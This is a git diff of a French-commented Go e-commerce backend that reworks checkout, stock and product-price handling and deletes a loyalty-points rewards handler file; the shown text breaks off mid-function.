if err := database.DebitReferralBalance(usernameStr, referralUsed); err != nil {
|
||||||
log.Printf("❌ [CHECKOUT] Solde parrainage insuffisant pour %s: %v", usernameStr, err)
|
log.Printf("❌ [CHECKOUT] Solde parrainage insuffisant pour %s: %v", usernameStr, err)
|
||||||
@@ -399,21 +396,6 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
log.Printf("✅ [CHECKOUT] Crédit parrainage -%.2f€ débité pour %s", referralUsed, usernameStr)
|
log.Printf("✅ [CHECKOUT] Crédit parrainage -%.2f€ débité pour %s", referralUsed, usernameStr)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Vérifier que tous les produits du panier ont encore un prix actif
|
|
||||||
unavailable, err := database.GetUnavailableBasketItems(usernameStr)
|
|
||||||
if err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur vérification produits", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if len(unavailable) > 0 {
|
|
||||||
log.Printf("❌ [CHECKOUT] Produits sans prix actif: %v", unavailable)
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
|
||||||
"error": "Certains produits de votre panier ne sont plus disponibles",
|
|
||||||
"products": unavailable,
|
|
||||||
})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Vérification option crypto
|
// Vérification option crypto
|
||||||
isCrypto := req.PaymentMethod == "crypto"
|
isCrypto := req.PaymentMethod == "crypto"
|
||||||
if isCrypto {
|
if isCrypto {
|
||||||
@@ -447,7 +429,9 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("✅ [CHECKOUT] Commande %d créée", commandID)
|
log.Printf("✅ [CHECKOUT] Commande %d créée", commandID)
|
||||||
|
|
||||||
// Pour le paiement crypto, le panier/stock sera décrémenté à la confirmation du webhook NowPayments.
|
// ============================================
|
||||||
|
// PAIEMENT CRYPTO - créer le paiement NowPayments
|
||||||
|
// ============================================
|
||||||
if isCrypto {
|
if isCrypto {
|
||||||
np := c.MustGet("nowpayments").(*services.NowPaymentsClient)
|
np := c.MustGet("nowpayments").(*services.NowPaymentsClient)
|
||||||
ipnURL := fmt.Sprintf("%s/api/v1/webhooks/nowpayments", getBaseURL(c))
|
ipnURL := fmt.Sprintf("%s/api/v1/webhooks/nowpayments", getBaseURL(c))
|
||||||
@@ -499,24 +483,14 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
go database.NotifyAllAdminCabine(commandID, usernameStr, req.DeliveryAddress)
|
go database.NotifyAllAdminCabine(commandID, usernameStr, req.DeliveryAddress)
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// 3️⃣ Décrémenter le stock et vider le panier
|
// 3️⃣ Vider le panier (sans restituer le stock — déjà déduit à l'ajout)
|
||||||
// ============================================
|
// ============================================
|
||||||
err = database.ClearBasketOnCheckout(usernameStr)
|
err = database.ClearBasketOnCheckout(usernameStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// Stock insuffisant au moment du checkout (concurrent) → annuler la commande
|
utils.ServerErr(c, "Impossible de vider le panier", err)
|
||||||
if strings.Contains(err.Error(), "stock insuffisant") {
|
|
||||||
_ = database.CancelCryptoCommand(commandID)
|
|
||||||
if referralUsed > 0 {
|
|
||||||
_ = database.CreditClientReferral(usernameStr, referralUsed)
|
|
||||||
}
|
|
||||||
log.Printf("❌ [CHECKOUT] Stock insuffisant au moment de la validation: %v", err)
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Désolé ! Tu as trop attendu pour passer commande! Le stock ou le produit n'est plus disponible, repasse commande"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
utils.ServerErr(c, "Impossible de valider le panier", err)
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("🧹 [CHECKOUT] Stock décrémenté et panier vidé")
|
log.Printf("🧹 [CHECKOUT] Panier vidé")
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// 4️⃣ Auto-assignation livreur (optionnel)
|
// 4️⃣ Auto-assignation livreur (optionnel)
|
||||||
|
|||||||
@@ -1,267 +0,0 @@
|
|||||||
package handlers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"gestion/db"
|
|
||||||
"gestion/models"
|
|
||||||
"gestion/utils"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
|
||||||
)
|
|
||||||
|
|
||||||
// GetMyPointsRewards retourne les points et les récompenses disponibles du client connecté.
|
|
||||||
// La récompense est globale : son seuil s'applique indépendamment à chaque pool.
|
|
||||||
func GetMyPointsRewards(c *gin.Context) {
|
|
||||||
username := c.GetString("username")
|
|
||||||
if username == "" {
|
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
|
|
||||||
settings, err := database.GetSettings()
|
|
||||||
if err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur lecture paramètres", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if !settings.PointsEnabled || len(settings.PointsPools) == 0 {
|
|
||||||
c.JSON(http.StatusOK, gin.H{"enabled": false, "pools": []gin.H{}, "reward": nil})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
pointsExtra, pointsRedeemed, err := database.GetClientPointsAndRewards(username)
|
|
||||||
if err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur lecture points", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
reward := settings.PointsReward
|
|
||||||
|
|
||||||
type EligibleConfigResponse struct {
|
|
||||||
Category string `json:"category"`
|
|
||||||
AllProducts bool `json:"all_products"`
|
|
||||||
ProductIDs []int `json:"product_ids"`
|
|
||||||
ProductNames []string `json:"product_names"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type PoolInfo struct {
|
|
||||||
Key string `json:"key"`
|
|
||||||
Name string `json:"name"`
|
|
||||||
Points int `json:"points"`
|
|
||||||
RewardsEarned int `json:"rewards_earned"`
|
|
||||||
RewardsClaimed int `json:"rewards_claimed"`
|
|
||||||
RewardsAvailable int `json:"rewards_available"`
|
|
||||||
EligibleConfigs []EligibleConfigResponse `json:"eligible_configs"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Collecter tous les product_ids nécessaires en un seul passage
|
|
||||||
allProductIDs := make([]int, 0)
|
|
||||||
if reward != nil {
|
|
||||||
for _, cfg := range reward.CategoryConfigs {
|
|
||||||
if !cfg.AllProducts {
|
|
||||||
allProductIDs = append(allProductIDs, cfg.ProductIDs...)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for _, item := range reward.RewardItems {
|
|
||||||
if item.ProductID > 0 {
|
|
||||||
allProductIDs = append(allProductIDs, item.ProductID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
productNames, _ := database.GetProductNamesByIDs(allProductIDs)
|
|
||||||
|
|
||||||
pools := make([]PoolInfo, 0, len(settings.PointsPools))
|
|
||||||
for _, pool := range settings.PointsPools {
|
|
||||||
pts := pointsExtra[pool.Key]
|
|
||||||
redeemed := pointsRedeemed[pool.Key]
|
|
||||||
|
|
||||||
var earned, available int
|
|
||||||
if reward != nil && reward.Threshold > 0 {
|
|
||||||
earned = pts / reward.Threshold
|
|
||||||
available = earned - redeemed
|
|
||||||
if available < 0 {
|
|
||||||
available = 0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Filtrer les category_configs aux seules catégories du pool
|
|
||||||
poolCats := make(map[string]bool, len(pool.Categories))
|
|
||||||
for _, c := range pool.Categories {
|
|
||||||
poolCats[c] = true
|
|
||||||
}
|
|
||||||
eligibleConfigs := make([]EligibleConfigResponse, 0)
|
|
||||||
if reward != nil {
|
|
||||||
for _, cfg := range reward.CategoryConfigs {
|
|
||||||
if !poolCats[cfg.Category] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
names := make([]string, 0, len(cfg.ProductIDs))
|
|
||||||
for _, pid := range cfg.ProductIDs {
|
|
||||||
if n, ok := productNames[pid]; ok {
|
|
||||||
names = append(names, n)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
eligibleConfigs = append(eligibleConfigs, EligibleConfigResponse{
|
|
||||||
Category: cfg.Category,
|
|
||||||
AllProducts: cfg.AllProducts,
|
|
||||||
ProductIDs: cfg.ProductIDs,
|
|
||||||
ProductNames: names,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pools = append(pools, PoolInfo{
|
|
||||||
Key: pool.Key,
|
|
||||||
Name: pool.Name,
|
|
||||||
Points: pts,
|
|
||||||
RewardsEarned: earned,
|
|
||||||
RewardsClaimed: redeemed,
|
|
||||||
RewardsAvailable: available,
|
|
||||||
EligibleConfigs: eligibleConfigs,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Construire la liste des produits récompense avec leurs noms
|
|
||||||
type RewardItemResponse struct {
|
|
||||||
ProductID int `json:"product_id"`
|
|
||||||
ProductName string `json:"product_name"`
|
|
||||||
Quantity float64 `json:"quantity"`
|
|
||||||
Price float64 `json:"price"`
|
|
||||||
}
|
|
||||||
var rewardMeta gin.H
|
|
||||||
if reward != nil {
|
|
||||||
rewardItems := make([]RewardItemResponse, 0, len(reward.RewardItems))
|
|
||||||
for _, item := range reward.RewardItems {
|
|
||||||
if item.ProductID <= 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
name := productNames[item.ProductID]
|
|
||||||
rewardItems = append(rewardItems, RewardItemResponse{
|
|
||||||
ProductID: item.ProductID,
|
|
||||||
ProductName: name,
|
|
||||||
Quantity: item.Quantity,
|
|
||||||
Price: item.Price,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
rewardMeta = gin.H{
|
|
||||||
"threshold": reward.Threshold,
|
|
||||||
"type": reward.Type,
|
|
||||||
"description": reward.Description,
|
|
||||||
"reward_items": rewardItems,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{"enabled": true, "pools": pools, "reward": rewardMeta})
|
|
||||||
}
|
|
||||||
|
|
||||||
// ClaimMyReward réclame une récompense sur un pool donné si le client a atteint le seuil.
|
|
||||||
func ClaimMyReward(c *gin.Context) {
|
|
||||||
username := c.GetString("username")
|
|
||||||
if username == "" {
|
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var req struct {
|
|
||||||
PoolKey string `json:"pool_key" binding:"required"`
|
|
||||||
ProductID int `json:"product_id"` // optionnel : 0 = automatique (1 seul item)
|
|
||||||
}
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "pool_key requis"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
|
|
||||||
settings, err := database.GetSettings()
|
|
||||||
if err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur lecture paramètres", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if !settings.PointsEnabled {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Système de points désactivé"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
reward := settings.PointsReward
|
|
||||||
if reward == nil || reward.Threshold <= 0 {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Aucune récompense configurée"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Vérifier que le pool existe
|
|
||||||
poolExists := false
|
|
||||||
for _, p := range settings.PointsPools {
|
|
||||||
if p.Key == req.PoolKey {
|
|
||||||
poolExists = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !poolExists {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Pool introuvable"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
remaining, err := database.ClaimPoolReward(username, req.PoolKey, reward.Threshold)
|
|
||||||
if err != nil {
|
|
||||||
if strings.Contains(err.Error(), "pas de récompense disponible") {
|
|
||||||
c.JSON(http.StatusConflict, gin.H{"error": "Pas assez de points pour réclamer une récompense"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
utils.ServerErr(c, "Erreur réclamation récompense", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Si le client a sélectionné un produit spécifique parmi plusieurs, ne donner que celui-là
|
|
||||||
itemsToAdd := reward.RewardItems
|
|
||||||
if req.ProductID > 0 && len(reward.RewardItems) > 1 {
|
|
||||||
for _, item := range reward.RewardItems {
|
|
||||||
if item.ProductID == req.ProductID {
|
|
||||||
itemsToAdd = []models.RewardItem{item}
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ajouter les produits récompense au panier si configurés
|
|
||||||
productAdded := false
|
|
||||||
var productNames []string
|
|
||||||
if len(itemsToAdd) > 0 {
|
|
||||||
if added, addErr := database.AddRewardsToBasket(username, itemsToAdd, req.PoolKey); addErr == nil && len(added) > 0 {
|
|
||||||
productAdded = true
|
|
||||||
for _, item := range added {
|
|
||||||
productNames = append(productNames, item.ProductName)
|
|
||||||
}
|
|
||||||
log.Printf("✅ [CLAIM] %d produit(s) récompense ajoutés au panier de %s", len(added), username)
|
|
||||||
} else if addErr != nil {
|
|
||||||
log.Printf("⚠️ [CLAIM] Impossible d'ajouter produits récompense: %v", addErr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"description": reward.Description,
|
|
||||||
"remaining_rewards": remaining,
|
|
||||||
"product_added": productAdded,
|
|
||||||
"product_names": productNames,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// AdminResetClientRedeemed remet à zéro les récompenses réclamées d'un client (admin).
|
|
||||||
func AdminResetClientRedeemed(c *gin.Context) {
|
|
||||||
username := c.Param("username")
|
|
||||||
poolKey := c.Query("pool_key")
|
|
||||||
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
if err := database.ResetClientRedeemed(username, poolKey); err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur reset récompenses", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{"success": true})
|
|
||||||
}
|
|
||||||
@@ -17,6 +17,10 @@ import (
|
|||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// CONFIGURATION & LIMITES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
const (
|
const (
|
||||||
MaxFileSize = 10 * 1024 * 1024 // 10MB par fichier
|
MaxFileSize = 10 * 1024 * 1024 // 10MB par fichier
|
||||||
MaxTotalUploadSize = 50 * 1024 * 1024 // 50MB total
|
MaxTotalUploadSize = 50 * 1024 * 1024 // 50MB total
|
||||||
@@ -26,6 +30,7 @@ const (
|
|||||||
MaxProductsPerUser = 100 // Limite pour éviter spam
|
MaxProductsPerUser = 100 // Limite pour éviter spam
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ✅ MIME types autorisés (vérification réelle du contenu)
|
||||||
var allowedMimeTypes = map[string]bool{
|
var allowedMimeTypes = map[string]bool{
|
||||||
"image/jpeg": true,
|
"image/jpeg": true,
|
||||||
"image/png": true,
|
"image/png": true,
|
||||||
@@ -36,6 +41,28 @@ var allowedMimeTypes = map[string]bool{
|
|||||||
"video/quicktime": true,
|
"video/quicktime": true,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// MIDDLEWARE D'AUTHORIZATION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func RequireAdminOrCabine() gin.HandlerFunc {
|
||||||
|
return func(c *gin.Context) {
|
||||||
|
role := c.GetString("role")
|
||||||
|
if role != "admin" && role != "cabine" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{
|
||||||
|
"error": "Accès refusé - Admin ou Cabine requis",
|
||||||
|
})
|
||||||
|
c.Abort()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.Next()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// HELPERS DE VALIDATION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func validateProductName(name string) error {
|
func validateProductName(name string) error {
|
||||||
if len(name) == 0 {
|
if len(name) == 0 {
|
||||||
return fmt.Errorf("nom requis")
|
return fmt.Errorf("nom requis")
|
||||||
@@ -160,6 +187,10 @@ func sanitizeFilePath(path string) (string, error) {
|
|||||||
return cleaned, nil
|
return cleaned, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// CREATE PRODUCT - VERSION SÉCURISÉE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func CreateProduct(c *gin.Context) {
|
func CreateProduct(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -238,7 +269,6 @@ func CreateProduct(c *gin.Context) {
|
|||||||
for priceIndex < 100 { // Limite anti-spam
|
for priceIndex < 100 { // Limite anti-spam
|
||||||
quantityKey := fmt.Sprintf("prices[%d][quantity]", priceIndex)
|
quantityKey := fmt.Sprintf("prices[%d][quantity]", priceIndex)
|
||||||
priceKey := fmt.Sprintf("prices[%d][price]", priceIndex)
|
priceKey := fmt.Sprintf("prices[%d][price]", priceIndex)
|
||||||
activePriceKey := fmt.Sprintf("prices[%d][active_price]", priceIndex)
|
|
||||||
|
|
||||||
quantityStr := c.PostForm(quantityKey)
|
quantityStr := c.PostForm(quantityKey)
|
||||||
priceStr := c.PostForm(priceKey)
|
priceStr := c.PostForm(priceKey)
|
||||||
@@ -264,13 +294,9 @@ func CreateProduct(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
activePriceStr := c.PostForm(activePriceKey)
|
|
||||||
activePrice := activePriceStr != "false"
|
|
||||||
|
|
||||||
prices = append(prices, models.ProductPrice{
|
prices = append(prices, models.ProductPrice{
|
||||||
Quantity: quantity,
|
Quantity: quantity,
|
||||||
Price: price,
|
Price: price,
|
||||||
ActivePrice: activePrice,
|
|
||||||
})
|
})
|
||||||
|
|
||||||
priceIndex++
|
priceIndex++
|
||||||
@@ -283,8 +309,6 @@ func CreateProduct(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("✅ [CreateProduct] %s crée produit: %s", username, name)
|
log.Printf("✅ [CreateProduct] %s crée produit: %s", username, name)
|
||||||
|
|
||||||
comingSoon := c.PostForm("coming_soon") == "true"
|
|
||||||
|
|
||||||
// ✅ CRÉER LE PRODUIT
|
// ✅ CRÉER LE PRODUIT
|
||||||
product := models.Product{
|
product := models.Product{
|
||||||
Name: name,
|
Name: name,
|
||||||
@@ -292,7 +316,6 @@ func CreateProduct(c *gin.Context) {
|
|||||||
Description: description,
|
Description: description,
|
||||||
Stock: stock,
|
Stock: stock,
|
||||||
Unit: unit,
|
Unit: unit,
|
||||||
ComingSoon: comingSoon,
|
|
||||||
Prices: prices,
|
Prices: prices,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -392,7 +415,7 @@ func CreateProduct(c *gin.Context) {
|
|||||||
|
|
||||||
// ✅ CRÉER LE DOSSIER DE MANIÈRE SÉCURISÉE
|
// ✅ CRÉER LE DOSSIER DE MANIÈRE SÉCURISÉE
|
||||||
destFolder := filepath.Join("uploads", mediaType+"s")
|
destFolder := filepath.Join("uploads", mediaType+"s")
|
||||||
if err := os.MkdirAll(destFolder, 0750); err != nil {
|
if err := os.MkdirAll(destFolder, 0755); err != nil {
|
||||||
log.Printf("❌ [CreateProduct] Erreur création dossier: %v", err)
|
log.Printf("❌ [CreateProduct] Erreur création dossier: %v", err)
|
||||||
rollbackFiles(savedFiles)
|
rollbackFiles(savedFiles)
|
||||||
database.DeleteProduct(product.ID)
|
database.DeleteProduct(product.ID)
|
||||||
@@ -452,6 +475,10 @@ func CreateProduct(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GET ENDPOINTS - SÉCURISÉS (lecture publique OK)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func GetAllProducts(c *gin.Context) {
|
func GetAllProducts(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -464,10 +491,7 @@ func GetAllProducts(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
role := c.GetString("role")
|
|
||||||
if role != "admin" && role != "cabine" {
|
|
||||||
products = filterActivePrices(products)
|
|
||||||
}
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"data": products,
|
"data": products,
|
||||||
@@ -504,10 +528,7 @@ func GetProductsByCategory(c *gin.Context) {
|
|||||||
media, _ := database.GetMediaByProductID(products[i].ID)
|
media, _ := database.GetMediaByProductID(products[i].ID)
|
||||||
products[i].Media = media
|
products[i].Media = media
|
||||||
}
|
}
|
||||||
roleCtx := c.GetString("role")
|
|
||||||
if roleCtx != "admin" && roleCtx != "cabine" {
|
|
||||||
products = filterActivePrices(products)
|
|
||||||
}
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"data": products,
|
"data": products,
|
||||||
@@ -517,6 +538,7 @@ func GetProductsByCategory(c *gin.Context) {
|
|||||||
|
|
||||||
func GetProductByID(c *gin.Context) {
|
func GetProductByID(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
id, err := strconv.Atoi(c.Param("id"))
|
id, err := strconv.Atoi(c.Param("id"))
|
||||||
if err != nil || id <= 0 {
|
if err != nil || id <= 0 {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
@@ -525,6 +547,7 @@ func GetProductByID(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
product, err := database.GetProductByID(id)
|
product, err := database.GetProductByID(id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusNotFound, gin.H{
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
@@ -533,22 +556,21 @@ func GetProductByID(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// ✅ Charger les médias
|
// ✅ Charger les médias
|
||||||
media, _ := database.GetMediaByProductID(product.ID)
|
media, _ := database.GetMediaByProductID(product.ID)
|
||||||
product.Media = media
|
product.Media = media
|
||||||
|
|
||||||
// ✅ Filtrer les prix désactivés (sauf pour admin/cabine)
|
|
||||||
role := c.GetString("role")
|
|
||||||
if role != "admin" && role != "cabine" {
|
|
||||||
filterActivepricesSingle(&product)
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"data": product,
|
"data": product,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// UPDATE PRODUCT - VERSION SÉCURISÉE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func UpdateProduct(c *gin.Context) {
|
func UpdateProduct(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -578,10 +600,9 @@ func UpdateProduct(c *gin.Context) {
|
|||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
Category string `json:"category"`
|
Category string `json:"category"`
|
||||||
Description string `json:"description"`
|
Description string `json:"description"`
|
||||||
|
Stock float64 `json:"stock"`
|
||||||
Unit string `json:"unit"`
|
Unit string `json:"unit"`
|
||||||
Prices []models.ProductPrice `json:"prices"`
|
Prices []models.ProductPrice `json:"prices"`
|
||||||
Stock *float64 `json:"stock"`
|
|
||||||
ComingSoon *bool `json:"coming_soon"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := c.ShouldBindJSON(&updateData); err != nil {
|
if err := c.ShouldBindJSON(&updateData); err != nil {
|
||||||
@@ -608,12 +629,16 @@ func UpdateProduct(c *gin.Context) {
|
|||||||
if updateData.Unit == "" {
|
if updateData.Unit == "" {
|
||||||
updateData.Unit = "u"
|
updateData.Unit = "u"
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := validateUnit(updateData.Unit); err != nil {
|
if err := validateUnit(updateData.Unit); err != nil {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if err := validateStock(updateData.Stock); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if len(updateData.Prices) == 0 {
|
if len(updateData.Prices) == 0 {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
|
||||||
return
|
return
|
||||||
@@ -626,32 +651,14 @@ func UpdateProduct(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if updateData.Stock != nil {
|
|
||||||
if err := validateStock(*updateData.Stock); err != nil {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("🔄 [UpdateProduct] %s met à jour produit #%d", username, id)
|
log.Printf("🔄 [UpdateProduct] %s met à jour produit #%d", username, id)
|
||||||
|
|
||||||
comingSoon := false
|
if err := database.UpdateProduct(id, updateData.Name, updateData.Category, updateData.Description, updateData.Unit, updateData.Stock, updateData.Prices); err != nil {
|
||||||
if updateData.ComingSoon != nil {
|
|
||||||
comingSoon = *updateData.ComingSoon
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := database.UpdateProduct(id, updateData.Name, updateData.Category, updateData.Description, updateData.Unit, comingSoon, updateData.Prices); err != nil {
|
|
||||||
log.Printf("❌ [UpdateProduct] Erreur UPDATE: %v", err)
|
log.Printf("❌ [UpdateProduct] Erreur UPDATE: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur mise à jour"})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur mise à jour"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if updateData.Stock != nil {
|
|
||||||
if err := database.SetProductStock(id, *updateData.Stock); err != nil {
|
|
||||||
log.Printf("⚠️ [UpdateProduct] Erreur mise à jour stock: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ RÉCUPÉRER LE PRODUIT MIS À JOUR
|
// ✅ RÉCUPÉRER LE PRODUIT MIS À JOUR
|
||||||
updatedProduct, _ := database.GetProductByID(id)
|
updatedProduct, _ := database.GetProductByID(id)
|
||||||
media, _ := database.GetMediaByProductID(id)
|
media, _ := database.GetMediaByProductID(id)
|
||||||
@@ -665,72 +672,6 @@ func UpdateProduct(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func UpdateStock(c *gin.Context) {
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
|
|
||||||
role := c.GetString("role")
|
|
||||||
if role != "admin" {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
username, _ := safeGetUsername(c)
|
|
||||||
|
|
||||||
id, err := strconv.Atoi(c.Param("id"))
|
|
||||||
if err != nil || id <= 0 {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
|
|
||||||
_, err = database.GetProductByID(id)
|
|
||||||
if err != nil {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var req struct {
|
|
||||||
Stock float64 `json:"stock"`
|
|
||||||
}
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if err := validateStock(req.Stock); err != nil {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
reserved, err := database.GetReservedQuantityInBaskets(id)
|
|
||||||
if err != nil {
|
|
||||||
utils.ServerErr(c, "Erreur lecture réservations", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if req.Stock+reserved < reserved {
|
|
||||||
